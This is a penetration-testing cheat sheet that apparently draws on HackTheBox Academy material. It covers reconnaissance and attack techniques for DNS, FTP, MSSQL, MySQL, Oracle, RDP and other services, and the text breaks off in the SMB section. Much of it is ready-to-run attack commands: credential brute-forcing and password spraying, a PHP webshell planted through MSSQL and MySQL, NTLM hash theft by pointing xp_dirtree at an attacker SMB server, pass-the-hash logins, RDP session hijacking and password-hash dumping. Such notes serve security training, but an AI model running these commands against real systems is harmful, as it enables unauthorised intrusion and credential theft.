`site:*.target.com ext:yaml`

`site:*.target.com ext:json`

`site:*.target.com ext:xml`

`site:*.target.com ext:env`

`site:*.target.com ext:conf`

`site:*.target.com ext:ini`

`site:*.target.com ext:cfg`

`site:*.target.com ext:cgi`

`site:*.target.com ext:ccm`

`site:*.target.com ext:sql`

`site:*.target.com ext:cdx`

`site:*.target.com ext:ics`

</details>

<details>

<summary>GraphQL queries</summary>

`site:*.target.com intext:"GRAPHQL_PARSE_FAILED"`

`site:*.target.com intext:"GRAPHQL_VALIDATION_FAILED"`

`site:*.target.com intext:"BAD_USER_INPUT"`

`site:*.target.com intext:"UNAUTHENTICATED"`

`site:*.target.com intext:"FORBIDDEN"`

`site:*.target.com intext:"PERSISTED_QUERY_NOT_FOUND"`

`site:*.target.com intext:"PERSISTED_QUERY_NOT_SUPPORTED"`

`site:*.target.com intext:"INTERNAL_SERVER_ERROR"`

</details>

***

### **Domain Information using Crt.sh & Shodan**

1. Output and Download JSON:\
   `curl -s https://crt.sh/\?q\=test.com\&output\=json | jq .`
2. Filter JSON by subdomains:\
   `curl -s https://crt.sh/\?q\=test.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u`
3. Make an ip-address wordlist:\
   `for i in $(cat subdomainlist);do host $i | grep "has address" | grep [test.com](http://test.com/) | cut -d" " -f4 >> ip-addresses.txt;done`
4. Run shodan on those ip addresses:\
   `for i in $(cat ip-addresses.txt);do shodan host $i;done`

***

### **Passive Domain Enumeration**

| Resource/Command                                                                                                      | Description                                                                                    |
| --------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| VirusTotal                                                                                                            | <https://www.virustotal.com/gui/home/url>                                                      |
| Censys                                                                                                                | <https://censys.io/>                                                                           |
| Crt.sh                                                                                                                | <https://crt.sh/>                                                                              |
| curl -s <https://sonar.omnisint.io/subdomains/{domain}> \| jq -r '.\[]' \| sort -u                                    | All subdomains for a given domain.                                                             |
| curl -s <https://sonar.omnisint.io/tlds/{domain}> \| jq -r '.\[]' \| sort -u                                          | All TLDs found for a given domain.                                                             |
| curl -s <https://sonar.omnisint.io/all/{domain}> \| jq -r '.\[]' \| sort -u                                           | All results across all TLDs for a given domain.                                                |
| curl -s <https://sonar.omnisint.io/reverse/{ip}> \| jq -r '.\[]' \| sort -u                                           | Reverse DNS lookup on IP address.                                                              |
| curl -s <https://sonar.omnisint.io/reverse/{ip}/{mask}> \| jq -r '.\[]' \| sort -u                                    | Reverse DNS lookup of a CIDR range.                                                            |
| curl -s "<https://crt.sh/?q=${TARGET}\\&output=json>" \| jq -r '.\[] \| "(.name\_value)\n(.common\_name)"' \| sort -u | Certificate Transparency.                                                                      |
| cat sources.txt \| while read source; do theHarvester -d "${TARGET}" -b $source -f "${source}-${TARGET}";done         | Searching for subdomains and other information on the sources provided in the source.txt list. |
| <https://searchdns.netcraft.com/>                                                                                     | Search public information about a hostname using netcraft                                      |

***

### **Passive Infrastructure Identification**

| Resource/Command                                      | Description                                                |
| ----------------------------------------------------- | ---------------------------------------------------------- |
| Netcraft                                              | <https://www.netcraft.com/>                                |
| WayBackMachine                                        | <http://web.archive.org/>                                  |
| WayBackURLs                                           | <https://github.com/tomnomnom/waybackurls>                 |
| waybackurls -dates https\://$TARGET > waybackurls.txt | Crawling URLs from a domain with the date it was obtained. |

***

## **Active Information Gathering**

* By using active scans against the target, we can gain more (reliable) information about it
* Whenever we are executing external scans, nmap and many other different tools can help us gain a lay of the land of the target surface

***

### **Protocols and Services Footprinting with NMAP**

* Scanning a target with nmap may reveal services, open ports, service versions, operating system and so on
* After gaining a lay of the land of the protocols and services granted by the target, refer to the Protocols and Services Notes for more information

***

**NMAP Scanning Options**

| Nmap Option          | Description                                                                                                          |
| -------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `10.10.10.0/24`      | Target network range.                                                                                                |
| `-sn`                | Disables port scanning.                                                                                              |
| `-Pn`                | Disables ICMP Echo Requests                                                                                          |
| `-n`                 | Disables DNS Resolution.                                                                                             |
| `-PE`                | Performs the ping scan by using ICMP Echo Requests against the target.                                               |
| `--packet-trace`     | Shows all packets sent and received.                                                                                 |
| `--reason`           | Displays the reason for a specific result.                                                                           |
| `--disable-arp-ping` | Disables ARP Ping Requests.                                                                                          |
| `--top-ports=<num>`  | Scans the specified top ports that have been defined as most frequent.                                               |
| `-p-`                | Scan all ports.                                                                                                      |
| `-p22-110`           | Scan all ports between 22 and 110.                                                                                   |
| `-p22,25`            | Scans only the specified ports 22 and 25.                                                                            |
| `-F`                 | Scans top 100 ports.                                                                                                 |
| `-sS`                | Performs an TCP SYN-Scan.                                                                                            |
| `-sA`                | Performs an TCP ACK-Scan. Note: best for firewall and ids/ips evasion                                                |
| `-sU`                | Performs an UDP Scan.                                                                                                |
| `-sV`                | Scans the discovered services for their versions.                                                                    |
| `-sC`                | Perform a Script Scan with scripts that are categorized as "default".                                                |
| `-sL`                | List Scan - simply list targets to scan - useful to understand which targets are reachable                           |
| `--script <script>`  | Performs a Script Scan by using the specified scripts.                                                               |
| `-O`                 | Performs an OS Detection Scan to determine the OS of the target.                                                     |
| `-A`                 | Performs OS Detection, Service Detection, and traceroute scans.                                                      |
| `-D RND:5`           | Sets the number of random Decoys that will be used to scan the target. Note: useful for firewall and ids/ips evasion |
| `-e`                 | Specifies the network interface that is used for the scan.                                                           |
| `-S 10.10.10.200`    | Specifies the source IP address for the scan.                                                                        |
| `-g`                 | Specifies the source port for the scan.                                                                              |
| `--dns-server <ns>`  | DNS resolution is performed by using a specified name server.                                                        |

***

**NMAP Output Options**

| Nmap Option    | Description                                                                       |
| -------------- | --------------------------------------------------------------------------------- |
| `-oA filename` | Stores the results in all available formats starting with the name of "filename". |
| `-oN filename` | Stores the results in normal format with the name "filename".                     |
| `-oG filename` | Stores the results in "grepable" format with the name of "filename".              |
| `-oX filename` | Stores the results in XML format with the name of "filename".                     |

***

**NMAP Performance Options**

| Nmap Option                  | Description                                                     |
| ---------------------------- | --------------------------------------------------------------- |
| `--max-retries <num>`        | Sets the number of retries for scans of specific ports.         |
| `--stats-every=5s`           | Displays scan's status every 5 seconds.                         |
| `-v/-vv`                     | Displays verbose output during the scan.                        |
| `--initial-rtt-timeout 50ms` | Sets the specified time value as initial RTT timeout.           |
| `--max-rtt-timeout 100ms`    | Sets the specified time value as maximum RTT timeout.           |
| `--min-rate 300`             | Sets the number of packets that will be sent simultaneously.    |
| `-T <0-5>`                   | Specifies the specific timing template. \[0=paranoid, 5=insane] |

***

### **Vhosts, Subdomain and Web Content Fuzzing**

* Fuzz testing or Fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.
* Fuzzing techniques can also be used to discover vhosts, subdomains and web content
* Refer to the Fuzzing Notes for more information

***

### **Active Infrastructure Identification**

| Resource/Command                                                        | Description                                                |
| ----------------------------------------------------------------------- | ---------------------------------------------------------- |
| curl -I "http\://${TARGET}"                                             | Display HTTP headers of the target webserver.              |
| whatweb -a <https://www.facebook.com> -v                                | Technology identification.                                 |
| Wappalyzer                                                              | <https://www.wappalyzer.com/>                              |
| wafw00f -v https\://$TARGET                                             | WAF Fingerprinting.                                        |
| Aquatone                                                                | <https://github.com/michenriksen/aquatone>                 |
| cat subdomain.list \| aquatone -out ./aquatone -screenshot-timeout 1000 | Makes screenshots of all subdomains in the subdomain.list. |

***

### **Active Subdomain Enumeration**

| Resource/Command                                                                                          | Description                                                                |
| --------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| HackerTarget                                                                                              | <https://hackertarget.com/zone-transfer/>                                  |
| SecLists                                                                                                  | <https://github.com/danielmiessler/SecLists>                               |
| nslookup -type=any -query=AXFR $TARGET nameserver.target.domain                                           | Zone Transfer using Nslookup against the target domain and its nameserver. |
| gobuster dns -q -r "${NS}" -d "${TARGET}" -w "${WORDLIST}" -p ./patterns.txt -o "gobuster\_${TARGET}.txt" | Bruteforcing subdomains.                                                   |
| dnsrecon -d example.com -D subdomainwordlist.txt -t brt                                                   | Subdomain bruteforcing using dnsrecon                                      |
| dnsenum example.com                                                                                       | Automated enumeration using dnsenum                                        |

### **DNS Enumeration**

| Command                           | Description                                        |
| --------------------------------- | -------------------------------------------------- |
| nslookup $TARGET                  | Identify the A record for the target domain.       |
| nslookup -query=A $TARGET         | Identify the A record for the target domain.       |
| dig $TARGET @\<nameserver/IP>     | Identify the A record for the target domain.       |
| dig a $TARGET @\<nameserver/IP>   | Identify the A record for the target domain.       |
| nslookup -query=PTR               | Identify the PTR record for the target IP address. |
| dig -x @\<nameserver/IP>          | Identify the PTR record for the target IP address. |
| nslookup -query=ANY $TARGET       | Identify ANY records for the target domain.        |
| dig any $TARGET @\<nameserver/IP> | Identify ANY records for the target domain.        |
| nslookup -query=TXT $TARGET       | Identify the TXT records for the target domain.    |
| dig txt $TARGET @\<nameserver/IP> | Identify the TXT records for the target domain.    |
| nslookup -query=MX $TARGET        | Identify the MX records for the target domain.     |
| dig mx $TARGET @\<nameserver/IP>  | Identify the MX records for the target domain.     |


# Protocols and Services

> Before moving forward, you should have (at least) performed the following steps:
>
> 1. **Information Gathering:** to gain as much knowledge as possible about the target, maximizing your chances of success.
> 2. **Port Scanning:** to enumerate open ports, os version and running services versions.
> 3. **Looking for Known Exploits:** by googling, searching in metasploit, exploit-db, and other vulnerability databases.
> 4. **Attempting to Login:** by using the service's default credentials.


# DNS

## **Introduction**

> DNS Typically runs on port 53 UDP but it can also run on TCP\
> DNS translates domain names to IP addresses\
> Useful resources:
>
> * <https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns>
> * <https://academy.hackthebox.com/module/112/section/1069>

## **DNS Records**

| DNS Record | Description                                                                                                                                                                                  |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| A          | Returns an IPv4 address of the requested domain as a result.                                                                                                                                 |
| AAAA       | Returns an IPv6 address of the requested domain.                                                                                                                                             |
| MX         | Returns the responsible mail servers as a result.                                                                                                                                            |
| NS         | Returns the DNS servers (nameservers) of the domain.                                                                                                                                         |
| TXT        | This record can contain various information. For example, it can be used to validate the Google Search Console or validate SSL certificates.                                                 |
| CNAME      | This record serves as an alias. If the domain [www.hackthebox.eu](http://www.hackthebox.eu) should point to the same IP, and we create an A record for one and a CNAME record for the other. |
| PTR        | The PTR record works the other way around (reverse lookup). It converts IP addresses into valid domain names.                                                                                |
| SOA        | Provides information about the corresponding DNS zone and email address of the administrative contact.                                                                                       |

## **Basic Interaction**

| Command                         | Description                                              |
| ------------------------------- | -------------------------------------------------------- |
| dig ns \<domain.tld> @dns-ip    | NS request to the specific nameserver.                   |
| dig any \<domain.tld> @dns-ip   | ANY request to the specific nameserver.                  |
| dig axfr \<domain.tld> @dns-ip  | AXFR (ZONE TRANSFER) request to the specific nameserver. |
| fierce --domain zonetransfer.me | Use fierce to scan for Zone Transfers                    |

## **Sub-Domain Enumeration:**

There are different tools to perform subdomain enumeration:

1. `./subfinder -d test.com -v`
2. `sublist3r.py -d test.com`
3. `./subbrute test.com -s ./names.txt -r ./resolvers.txt`

**Subdomain Fuzzing:**

1. `ffuf -w wordlist.txt:FUZZ -u https://FUZZ.server.com/`
2. `gobuster dns -d example.com -w wordlists.txt`

**VHost Fuzzing**

1. `ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs <num>`
2. `gobuster vhost --url test.example --wordlist /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain`

**Subdomain Bruteforcing:**

```
Option (1): dnsenum --dnsserver <dns-ip> --enum -p 0 -s 0 -o found_subdomains.txt -f ~/subdomains.list <domain.tld>

Option (2): for sub in $(cat path/to/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @10.129.14.128 \| grep -v ';\|SOA' \| sed -r '/^\s*$/d' \| grep $sub \| tee -a subdomains.txt;done
```


# FTP

## **Introduction**

> FTP is a clear-text protocol used to transfer files, which typically runs on TCP port 21.\
> There are different commands and status codes in FTP. Not all of these commands are consistently implemented on the server.\
> Usually, we need credentials to interact with a FTP server.

***

## **FTP Misconfigurations**

#### **FTP PUT Method**

* Whenever FTP allows the PUT method, there may be chances that the files can be accessed from a web application's webroot or any directory accessible via the web app
* In order terms, files uploaded through the FTP server can be accesses through the HTTP server
* This can be useful to **upload a reverse shell through the FTP server and running it through the HTTP Server**

#### **FTP Anonymous Access**

* When allowed, a server can offer anonymous FTP access.
* Since there are security risks associated with such a public FTP server, the options for users are usually limited.
* To authenticate using anonymous access: `ftp anonymous@server-ip` followed by any password

***

## **FTP Basic Interaction**

Connecting to ftp:

* `ftp <FQDN/IP>`
* `ftp username@ip`
* `nc -nv <FQDN/IP> 21`
* `telnet <FQDN/IP> 21`
* Interact with the FTP service on the target using encrypted connection:\
  `openssl s_client -connect <FQDN/IP>:21 -starttls ftp`
* Download all available files on the target FTP Server:\
  `wget -m --no-passive ftp://anonymous:anonymous@<target>`

#### **FTP Methods**

1. `connect` - Sets the remote host for file transfers.
2. `get` - Download a file from the ftp server.
3. `put` - Upload a local file to the ftp server.
4. `quit` - Exits ftp.
5. `status` - Shows the current status of tftp, including the current transfer mode (ascii or binary), connection status, time-out value, and so on.
6. `verbose` - Toggle verbose mode

***

## **FTP Authentication Bruteforcing**

1. Bruteforcing with Medusa: `medusa -u username -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp`
2. Bruteforcing with Hydra: `hydra -l username -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142`

***

## **FTP Useful Files**

* The **default configuration of vsFTPd** can be found in `/etc/vsftpd.conf`
* The file `/etc/ftpusers` is used to **deny certain users access** to the FTP service.

***

## **FTP Bounce Attack**

> An FTP bounce attack is a network attack that uses FTP servers to deliver outbound traffic to another device on the network.\
> The attacker uses a PORT command to trick the FTP connection into running commands and getting information from a device other than the intended server.

**Example:**

* Consider we are targetting an FTP Server FTP\_DMZ exposed to the internet.
* Another device within the same network, Internal\_DMZ, is not exposed to the internet.
* We can use the connection to the FTP\_DMZ server to scan Internal\_DMZ using the FTP Bounce attack and obtain information about the server's open ports.
* Then, we can use that information as part of our attack against the infrastructure.

**To perform a FTP Bounce Attack with Nmap:**\
`nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2`


# IMAP

## **Introduction**

> By default, the Internet Message Access Protocol (IMAP) protocol works on Port 143 (unencrypted) or 993 (encrypted). IMAP allows online management of emails directly on the server and supports folder structures.\
> Thus, it is a network protocol for the online management of emails on a remote server.<br>

***

## **IMAP Basic Interaction Commands**

| Command                                                  | Description                             |
| -------------------------------------------------------- | --------------------------------------- |
| curl -k 'imaps\://\<FQDN/IP>' --user :                   | Log in to the IMAPS service using cURL. |
| openssl s\_client -connect \<FQDN/IP>:imaps              | Connect to the IMAPS service.           |
| hydra -L users.txt -p validpassword -f 10.10.110.20 imap | Login Bruteforce with Hydra (IMAP)      |

***

## **IMAP Commands**

| Command                       | Description                                                                                               |
| ----------------------------- | --------------------------------------------------------------------------------------------------------- |
| 1 LOGIN username password     | User's login.                                                                                             |
| 1 LIST "" \*                  | Lists all directories.                                                                                    |
| 1 FETCH 1 BODY\[TEXT]         | list all contents of previously selected mail                                                             |
| 1 CREATE "INBOX"              | Creates a mailbox with a specified name.                                                                  |
| 1 DELETE "INBOX"              | Deletes a mailbox.                                                                                        |
| 1 RENAME "ToRead" "Important" | Renames a mailbox.                                                                                        |
| 1 LSUB "" \*                  | Returns a subset of names from the set of names that the User has declared as being active or subscribed. |
| 1 SELECT INBOX                | Selects a mailbox so that messages in the mailbox can be accessed.                                        |
| 1 UNSELECT INBOX              | Exits the selected mailbox.                                                                               |
| 1 FETCH all                   | Retrieves data associated with a message in the mailbox.                                                  |
| 1 CLOSE                       | Removes all messages with the Deleted flag set.                                                           |
| 1 LOGOUT                      | Closes the connection with the IMAP server.                                                               |


# IPMI

## **Introduction**

> * IPMI is a set of standardized specifications for hardware-based host management systems used for system management and monitoring
> * IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state using a direct network connection to the system's hardware without requiring any form of authentication
> * IPMI can also be used for remote upgrades to systems without requiring physical access to the target host.
> * It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP
> * **Source:** [HacktheBox Academy](https://academy.hackthebox.com/module/112/section/1245)

***

## **IPMI Commands**

| Command                                       | Description             |
| --------------------------------------------- | ----------------------- |
| msf6 auxiliary(scanner/ipmi/ipmi\_version)    | IPMI version detection. |
| msf6 auxiliary(scanner/ipmi/ipmi\_dumphashes) | Dump IPMI hashes.       |


# MSSQL

## **Introduction**

> Microsoft SQL (MSSQL) is Microsoft's SQL-based relational database management system\
> The default MSSQL port is 1433 TCP

***

## **MSSQL Enumeration & Connection to the Server**

* Enumeration with Nmap NSE:\
  `sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248`
* Log in to the MSSQL server using Windows authentication:\
  `mssqlclient.py <user>@<FQDN/IP> -windows-auth`
* Connect to the MSSQL Server using sqlcmd:\
  `sqlcmd -S SRVMSSQL -U validuser -P validpassword -y 30 -Y 30`
* Connect to the MSSQL Server using sqsh:\
  `sqsh -S 10.129.203.7 -U validuser -P validpassword -h`
* Connect using local windows account:\
  `sqsh -S 10.129.203.7 -U .\\validuser -P validpassword -h`

***

## **Interacting with a MSSQL Server**

| Command                                                  | Description                        |
| -------------------------------------------------------- | ---------------------------------- |
| SELECT name FROM master.dbo.sysdatabases                 | Show databases                     |
| USE users                                                | Use a database                     |
| SELECT table\_name FROM users.INFORMATION\_SCHEMA.TABLES | Show tables from users database    |
| SELECT \* FROM users                                     | Select all Data from Table "users" |

***

## **MSSQL Command Execution**

> MSSQL can allow command execution through the xp\_cmdshell command: `xp_cmdshell 'whoami'`\
> The commands will be executed using the mssql's service account privileges.

**Enabling xp\_cmdshell:**\
If xp\_cmdshell is disabled, you might be able to enable it using the following commands:

```
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE
```

***

## **MSSQL File Read**

We can read any file to which the account has read access using the following query:

`SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`

***

## **MSSQL File Write**

> * To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges
> * After that, we need to execute some stored procedures to create the file:

1. **Enable Ole Automation Procedures:**

   ```
   sp_configure 'show advanced options', 1
   RECONFIGURE
   sp_configure 'Ole Automation Procedures', 1
   RECONFIGURE
   ```
2. **Create a File:**

   ```
   DECLARE @OLE INT
   DECLARE @FileID INT
   EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
   EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\path\to\your\webshell.php', 8, 1
   EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
   EXECUTE sp_OADestroy @FileID
   EXECUTE sp_OADestroy @OLE
   ```

***

## **Capture MSSQL Service Hash**

> * It's possible to capture the MSSQL Service user's account hash using a fake SMB Server or Responder
> * When using the MSSQL `xp_subdirs` or `xp_dirtree` stored procedures pointing to our fake SMB Server, the MSSQL Service will be forced to authenticate using his NTLMv2 hash

**Follow these steps:**

1. Start Responder or start SMB fake server:\
   `sudo responder -I tun0` or `sudo impacket-smbserver share ./ -smb2support`
2. Hash stealing through xp\_dirtree: `EXEC master..xp_dirtree '\\10.10.110.17\share\'`
3. Hash stealing through xp\_subdirs: `EXEC master..xp_subdirs '\\10.10.110.17\share\'`

***

## **MSSQL - Impersonate Existing Users**

> SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends

**To impersonate a user:**

1. Verify if current account is a sysadmin (By default, sysadmins can impersonate any user)

   ```
   SELECT SYSTEM_USER
   SELECT IS_SRVROLEMEMBER('sysadmin')
   ```
2. Identify the users that we can impersonate:

   ```
   SELECT distinct b.name
   FROM sys.server_permissions a
   INNER JOIN sys.server_principals b
   ON a.grantor_principal_id = b.principal_id
   WHERE a.permission_name = 'IMPERSONATE'
   ```
3. Impersonate a user (example: sa)

   ```
   EXECUTE AS LOGIN = 'sa'
   ```

***

## **Communicating with Other Databases \[Linked Servers]**

> * MSSQL has a configuration option called linked servers
> * If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server.
> * Administrators can configure a linked server using credentials from the remote server.
> * If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.

**Follow these steps:**

1. Identify Linked Servers in MSSQL:\
   `SELECT srvname, isremote FROM sysservers`
2. Identify the user for the connection and its privileges:\
   `EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.10.10.100\SQLSERVERNAME]`


# MySQL

## **Introduction**

> * MySQL is an open-source SQL relational database management system
> * MySQL runs port 3306 TCP by default
> * Often times, databases are stored in a single `.sql` file

***

## **MySQL Basic Commands**

| Command                                              | Description                                                                                                                                                |
| ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| mysql -u -p -h \<FQDN/IP>                            | Login to the MySQL server. Note: -p'password' without spaces                                                                                               |
| show variables like "secure\_file\_priv";            | Enumerate the secure file priv variable needed to enable reading/writing of files: NULL means no write permissions, FOLDERNAME means limited to the folder |
| SELECT "" INTO OUTFILE '/var/www/html/webshell.php'; | Write local file (webshell)                                                                                                                                |
| select LOAD\_FILE("/etc/passwd");                    | Read local file                                                                                                                                            |
| SELECT @@version                                     | Fingerprint MySQL with query output                                                                                                                        |
| SELECT SLEEP(5)                                      | Fingerprint MySQL with no output                                                                                                                           |

***

## **MySQL Database Interaction**

| Command                                                           | Description                                              |
| ----------------------------------------------------------------- | -------------------------------------------------------- |
| mysql -u root -h docker.hackthebox.eu -P 3306 -p                  | login to mysql database                                  |
| SHOW DATABASES                                                    | List available databases                                 |
| USE users                                                         | Switch to database                                       |
| CREATE TABLE logins (id INT, ...)                                 | Add a new table                                          |
| SHOW TABLES                                                       | List available tables in current database                |
| DESCRIBE logins                                                   | Show table properties and columns                        |
| INSERT INTO table\_name VALUES (value\_1,..)                      | Add values to table                                      |
| INSERT INTO table\_name(column2, ...) VALUES (column2\_value, ..) | Add values to specific columns in a table                |
| UPDATE table\_name SET column1=newvalue1, ... WHERE               | Update table values                                      |
| SELECT \* FROM table\_name                                        | Show all columns in a table                              |
| SELECT column1, column2 FROM table\_name                          | Show specific columns in a table                         |
| DROP TABLE logins                                                 | Delete a table                                           |
| ALTER TABLE logins ADD newColumn INT                              | Add new column                                           |
| ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn           | Rename column                                            |
| ALTER TABLE logins MODIFY oldColumn DATE                          | Change column datatype                                   |
| ALTER TABLE logins DROP oldColumn                                 | Delete column                                            |
| SELECT \* FROM logins ORDER BY column\_1                          | Sort by column                                           |
| SELECT \* FROM logins ORDER BY column\_1 DESC                     | Sort by column in descending order                       |
| SELECT \* FROM logins ORDER BY column\_1 DESC, id ASC             | Sort by two-columns                                      |
| SELECT \* FROM logins LIMIT 2                                     | Only show first two results                              |
| SELECT \* FROM logins LIMIT 1, 2                                  | Only show first two results starting from index 2        |
| SELECT \* FROM table\_name WHERE                                  | List results that meet a condition                       |
| SELECT \* FROM logins WHERE username LIKE 'admin%'                | List results where the name is similar to a given string |

***

## **SQL Injection**

Refer to the SQL Injection Notes


# NFS

## **Introduction**

> * Network File System (NFS) is a network file system developed by Sun Microsystems and has the same purpose as SMB.
> * Its purpose is to access file systems over a network as if they were local. However, it uses an entirely different protocol.
> * NFS' default port is 2049 TCP

***

## **Basic Enumeration & Interaction**

> * When footprinting NFS, the TCP ports 111 and 2049 are essential.
> * We can also get information about the NFS service and the host via RPC (2049)

<table><thead><tr><th width="256">Command</th><th>Description</th></tr></thead><tbody><tr><td>Use nmap scripts to find connected NFS shares names</td><td>sudo nmap --script nfs* &#x3C;IP> -sV -p111,2049</td></tr><tr><td>Show Available shares on target IP</td><td>showmount -e &#x3C;IP></td></tr><tr><td>Mount (locally) an available share</td><td>sudo mount -t nfs &#x3C;IP>:/target-NFS/ /your-target-dir -o nolock</td></tr><tr><td>Unmount a previously mounted share</td><td>sudo umount ./target-dir</td></tr></tbody></table>


# Oracle TNS

## **Introduction**

> * Communication protocol that facilitates communication between Oracle databases and applications over networks
> * Solution for managing large, complex databases, typically in the healthcare, finance, and retail industries.
> * It has a built-in encryption mechanism that ensures the security of data transmitted.
> * Runs on TCP Port 1521 by default

***

## **Oracle TNS - Basic Commands**

| Command                                                                                        | Description                                                                                             |
| ---------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
| ./odat.py all -s \<FQDN/IP>                                                                    | Perform a variety of scans to gather information about the Oracle database services and its components. |
| sqlplus /@\<FQDN/IP>/                                                                          | Log in to the Oracle database.                                                                          |
| sqlplus username/password\@10.129.204.235/XE as sysdba                                         | Log in to the Oracle database with sysdba privileges                                                    |
| ./odat.py utlfile -s \<FQDN/IP> -d -U -P --sysdba --putFile C:\insert\path file.txt ./file.txt | Upload a file with Oracle RDBMS.                                                                        |
| sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute                           | Nmap SID Bruteforcing                                                                                   |

***

## **Oracle RDBMS Interaction Commands**

| Command                               | Description                                   |
| ------------------------------------- | --------------------------------------------- |
| select table\_name from all\_tables;  | List all available tables in current database |
| select name, password from sys.user$; | Extract password hashes                       |


# POP3

## **Introduction**

> * There are 3 different versions of POP, but POP3 is the mostly used one.
> * POP3 runs on TCP ports 110(unencrypted) and 995(encrypted) by default.
> * Post Office Protocol (POP) is a protocol that extracts and retrieves email from a remote mail server for access by the host machine.
> * POP3 provides users the ability to fetch and receive email

***

## **POP3 Basic Interaction**

| Command                                                 | Description                        |
| ------------------------------------------------------- | ---------------------------------- |
| openssl s\_client -connect \<FQDN/IP>:pop3s             | Connect to the POP3s service.      |
| hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3 | Login Bruteforce with Hydra (POP3) |

***

## **POP3 Commands**

| Command       | Description                                                 |
| ------------- | ----------------------------------------------------------- |
| USER username | Identifies the user.                                        |
| PASS password | Authentication of the user using its password.              |
| STAT          | Requests the number of saved emails from the server.        |
| LIST          | Requests from the server the number and size of all emails. |
| RETR id       | Requests the server to deliver the requested email by ID.   |
| DELE id       | Requests the server to delete the requested email by ID.    |
| CAPA          | Requests the server to display the server capabilities.     |
| RSET          | Requests the server to reset the transmitted information.   |
| QUIT          | Closes the connection with the POP3 server.                 |


# RDP

## **Introduction**

> * By default, Remote Desktop Protocol (RDP) uses port TCP/3389.
> * RDP is a protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection.
> * It is one of the most popular administration tools, allowing system administrators to centrally control their remote systems with the same functionality as if they were on-site.
> * Unfortunately, while RDP greatly facilitates remote administration of distributed IT systems, it also creates another gateway for attacks.

***

## **RDP Enumeration & Interaction Commands**

**Login to RDP:**

* Option 1: `xfreerdp /v:10.10.10.100 /u:admin /p:password`
* Option2: `rdesktop -u admin -p password123 10.10.10.100`
* Add a local directory as an SMB Share: `xfreerdp /v:10.10.10.100 /u:admin /p:password +home-drive`
* Pass the Hash login:
  1. Disable Restricted Admin Mode: `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`
  2. Perform PtH: `xfreerdp /v:10.10.10.100 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA`

**Finding Credentials:**

* Password spraying against the RDP service: `crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'`
* Brute-forcing the RDP service: `hydra -L usernames.txt -p 'password123' 10.10.10.100 rdp`

***

## **RDP Session Hijacking**

> To successfully impersonate a user without their password, we need to have SYSTEM privileges and use the Microsoft tscon.exe binary that enables users to connect to another desktop session.

**Performing Session Hijacking:**

1. **With SYSTEM Privileges:**
   * Impersonate a user without its password: `tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}`
2. **Without SYSTEM Privileges:**
   * Create a windows service running as SYSTEM: `sc.exe create servicename binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"`
   * Start the poisoned service: `net start servicename`

***

## Enabling RDP (Requires local Administrator)

If you have control over a `local Administrator` account, you can enable RDP and use `xfreerdp` to perform `post-exploitation` in better conditions

To do so, follow these steps:

1. enable RDP: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`
2. enable RDP from the firewall config: `netsh advfirewall firewall set rule group="remote desktop" new enable=Yes`
3. disable the restricted admin mode: `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`


# SMB

## **Introduction**

> * Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources.
> * The SMB protocol enables the client to communicate with other participants in the same network to access files or services shared with it on the network.
> * An SMB server can provide arbitrary parts of its local file system as shares.
> * Access rights are defined by Access Control Lists (ACL).
> * SMB runs on port 445 TCP by default

***

## **SMB Shares Enumeration**

* Run [Snaffler](https://github.com/SnaffCon/Snaffler) *from a Windows host* to find useful data in shares:\
